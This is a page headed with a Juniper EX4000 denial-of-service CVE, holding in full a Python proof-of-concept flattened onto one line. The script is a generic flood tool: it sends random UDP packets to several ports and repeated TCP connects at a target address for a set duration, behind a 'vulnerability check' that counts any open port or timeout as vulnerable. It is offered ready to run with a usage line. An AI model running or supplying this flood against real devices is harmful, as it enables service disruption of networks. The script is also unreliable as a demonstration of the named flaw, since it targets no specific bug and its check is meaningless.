CVE-2026-21913: Juniper Junos OS EX4000 IDM资源初始化错误导致拒绝服务

#!/usr/bin/env python3 # CVE-2026-21913 PoC - Juniper EX4000 DoS # Description: High volume traffic to trigger FXPC crash on EX4000 devices # Note: This is a conceptual PoC for authorized security testing only import socket import time import random def send_traffic_burst(target_ip, target_port=80, duration=30, packet_size=1400): """ Send high volume traffic to trigger resource exhaustion on Juniper EX4000 Args: target_ip: Target device IP address target_port: Target port (default: 80) duration: Attack duration in seconds packet_size: Size of each packet in bytes """ print(f"[*] Starting traffic flood against {target_ip}:{target_port}") print(f"[*] Duration: {duration}s, Packet size: {packet_size} bytes") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) start_time = time.time() packet_count = 0 # Generate payload with random data to simulate traffic payload = bytes([random.randint(0, 255) for _ in range(packet_size)]) try: while time.time() - start_time < duration: try: # Send UDP packets to multiple ports to maximize impact for port in [80, 443, 22, 8080]: sock.sendto(payload, (target_ip, port)) packet_count += 1 # Also send TCP SYN packets tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp_sock.settimeout(0.1) try: tcp_sock.connect((target_ip, 80)) except: pass tcp_sock.close() except Exception as e: print(f"[!] Error: {e}") print(f"[*] Sent {packet_count} packets in {duration} seconds") print(f"[*] Average: {packet_count/duration:.2f} packets/second") finally: sock.close() print("[*] Attack completed") def check_device_vulnerability(target_ip): """ Basic check if target appears to be a vulnerable Juniper EX4000 device """ print(f"[*] Checking if {target_ip} is a potential target...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target_ip, 443)) print(f"[!] Device at {target_ip} has port 443 open - potential target") return True except socket.timeout: print(f"[*] Connection timeout - device may be vulnerable") return True except: print(f"[*] Unable to determine device status") return False finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2026_21913_poc.py <target_ip> [duration]") sys.exit(1) target = sys.argv[1] duration = int(sys.argv[2]) if len(sys.argv) > 2 else 30 print("=" * 60) print("CVE-2026-21913 Juniper EX4000 DoS PoC") print("=" * 60) if check_device_vulnerability(target): send_traffic_burst(target, duration=duration) print("\n[*] Wait 60 seconds, then check device status:") print("[*] show chassis routing-engine")